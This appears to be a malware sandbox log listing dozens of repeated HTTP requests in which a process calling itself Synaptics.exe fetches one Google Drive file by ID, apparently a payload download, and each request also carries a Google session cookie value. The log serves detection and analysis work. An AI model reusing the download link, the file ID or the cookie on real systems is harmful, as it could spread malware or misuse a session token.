Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
